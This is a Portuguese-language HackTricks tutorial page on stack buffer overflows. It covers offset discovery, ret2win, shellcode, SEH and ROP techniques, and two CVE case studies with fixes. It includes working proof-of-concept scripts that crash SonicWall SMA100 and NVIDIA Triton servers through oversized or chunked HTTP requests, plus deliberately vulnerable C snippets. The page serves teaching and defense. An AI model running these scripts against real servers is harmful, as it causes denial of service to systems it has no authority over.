Stack Overflow

Reading time: 10 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

O que é um Stack Overflow

A stack overflow é uma vulnerabilidade que ocorre quando um programa escreve mais dados na stack do que foi alocado para ela. Esse excesso de dados irá sobrescrever espaço de memória adjacente, levando à corrupção de dados válidos, à interrupção do fluxo de controle e, potencialmente, à execução de código malicioso. Esse problema costuma surgir devido ao uso de funções inseguras que não fazem verificação de limites na entrada.

O principal problema dessa sobrescrita é que o saved instruction pointer (EIP/RIP) e o saved base pointer (EBP/RBP) para retornar à função anterior são armazenados na stack. Portanto, um atacante poderá sobrescrevê-los e controlar o fluxo de execução do programa.

A vulnerabilidade geralmente surge porque uma função copia dentro da stack mais bytes do que a quantidade alocada para ela, possibilitando assim sobrescrever outras partes da stack.

Algumas funções comuns vulneráveis a isso são: strcpy, strcat, sprintf, gets... Além disso, funções como fgets, read e memcpy que recebem um length argument, podem ser usadas de forma vulnerável se o tamanho especificado for maior do que o alocado.

Por exemplo, as seguintes funções poderiam ser vulneráveis:

c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Encontrando offsets de Stack Overflows

A forma mais comum de encontrar stack overflows é fornecer uma entrada muito grande de As (ex.: python3 -c 'print("A"*1000)') e esperar um Segmentation Fault indicando que houve tentativa de acessar o endereço 0x41414141.

Além disso, uma vez identificado que existe uma Stack Overflow vulnerability, você precisará encontrar o offset até que seja possível overwrite the return address, para isso normalmente se usa uma De Bruijn sequence. A mesma, para um dado alfabeto de tamanho k e subsequências de comprimento n, é uma sequência cíclica na qual cada possível subsequência de comprimento n aparece exatamente uma vez como subsequência contígua.

Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como padding uma dessas sequências e então encontrar o offset dos bytes que terminaram sobrescrevendo-a.

É possível usar pwntools para isso:

python
from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

ou GEF:

bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Explorando Stack Overflows

Durante um overflow (supondo que o tamanho do overflow seja grande o suficiente) você poderá sobrescrever valores de variáveis locais dentro da stack até alcançar o salvo EBP/RBP and EIP/RIP (or even more).
A maneira mais comum de explorar esse tipo de vulnerabilidade é modificar o return address para que, quando a função terminar, o control flow seja redirecionado para onde o usuário especificou nesse ponteiro.

No entanto, em outros cenários talvez apenas sobrescrever alguns valores de variáveis na stack seja suficiente para a exploração (como em desafios fáceis de CTF).

Ret2win

Nesse tipo de desafios CTF, existe uma function inside o binary que é never called e que você precisa chamar para ganhar. Para esses desafios você só precisa encontrar o offset to overwrite the return address e encontrar o address da function a ser chamada (normalmente ASLR estará desabilitado) para que, quando a função vulnerável retornar, a função escondida seja chamada:

Ret2win

Stack Shellcode

Nesse cenário o atacante pode colocar um shellcode na stack e abusar do EIP/RIP controlado para pular para o shellcode e executar código arbitrário:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

Em Windows 32-bit, um overflow pode sobrescrever a Structured Exception Handler (SEH) chain em vez do saved return address. A exploração tipicamente substitui o SEH pointer por um POP POP RET gadget e usa o campo de 4 bytes nSEH para um salto curto (short jump) para pivotar de volta para o grande buffer onde o shellcode vive. Um padrão comum é um short jmp em nSEH que aterrissa em um near jmp de 5 bytes colocado logo antes de nSEH para saltar centenas de bytes de volta ao início do payload.

Windows Seh Overflow

ROP & Ret2... techniques

Essa técnica é a estrutura fundamental para contornar a principal proteção ao método anterior: No executable stack (NX). E permite executar várias outras técnicas (ret2lib, ret2syscall...) que acabarão executando comandos arbitrários ao abusar de instruções já existentes no binary:

ROP - Return Oriented Programing

Heap Overflows

Um overflow nem sempre estará na stack, também pode estar no heap, por exemplo:

Heap Overflow

Tipos de proteções

Existem várias proteções tentando prevenir a exploração de vulnerabilidades, confira em:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

Uma boa demonstração de por que sscanf should never be trusted for parsing untrusted input apareceu em 2025 no appliance SonicWall SMA100 SSL-VPN. A rotina vulnerável dentro de /usr/src/EasyAccess/bin/httpd tenta extrair a versão e o endpoint de qualquer URI que começa com /__api__/:

c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. A primeira conversão (%2s) armazena com segurança dois bytes em version (por exemplo "v1").
  2. A segunda conversão (%s) não tem especificador de comprimento, portanto sscanf continuará copiando até o primeiro byte NUL.
  3. Porque endpoint está localizado na stack e tem 0x800 bytes de comprimento, fornecer um caminho com mais de 0x800 bytes corrompe tudo que vem depois do buffer ‑ incluindo o stack canary e o saved return address.

Uma prova de conceito em uma única linha é suficiente para acionar o crash before authentication:

python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Mesmo que os stack canaries abortem o processo, um atacante ainda obtém uma primitiva de Denial-of-Service (e, com leaks de informação adicionais, possivelmente code-execution). A lição é simples:

  • Sempre forneça uma largura máxima de campo (por exemplo %511s).
  • Prefira alternativas mais seguras, como snprintf/strncpy_s.

Exemplo do mundo real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

O Triton Inference Server da NVIDIA (≤ v25.06) continha múltiplos stack-based overflows acessíveis através da sua HTTP API. O padrão vulnerável aparecia repetidamente em http_server.cc e sagemaker_server.cc:

c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) retorna o número de segmentos de buffer internos que compõem o corpo da requisição HTTP atual.
  2. Cada segmento provoca a alocação de um evbuffer_iovec de 16-byte na stack via alloca()sem qualquer limite superior.
  3. Ao abusar de HTTP chunked transfer-encoding, um cliente pode forçar a requisição a ser dividida em centenas de milhares de 6-byte chunks ("1\r\nA\r\n"). Isso faz n crescer sem limites até que a stack seja esgotada.

Prova de Conceito (DoS)

python
#!/usr/bin/env python3
import socket, sys

def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())

for _ in range(chunks):                  # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n")            # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n")               # end of chunks
s.close()

if __name__ == "__main__":
exploit(*sys.argv[1:])

Uma solicitação de ~3 MB é suficiente para sobrescrever o saved return address e crash o daemon em uma build padrão.

Correção & Mitigação

A versão 25.07 substitui a alocação insegura na pilha por um heap-backed std::vector e passa a tratar std::bad_alloc de forma graciosa:

c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();

Lições aprendidas:

  • Nunca chame alloca() com tamanhos controlados pelo atacante.
  • Chunked requests podem alterar drasticamente a forma dos buffers do lado do servidor.
  • Valide / limite qualquer valor derivado da entrada do cliente antes de usá-lo em alocações de memória.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks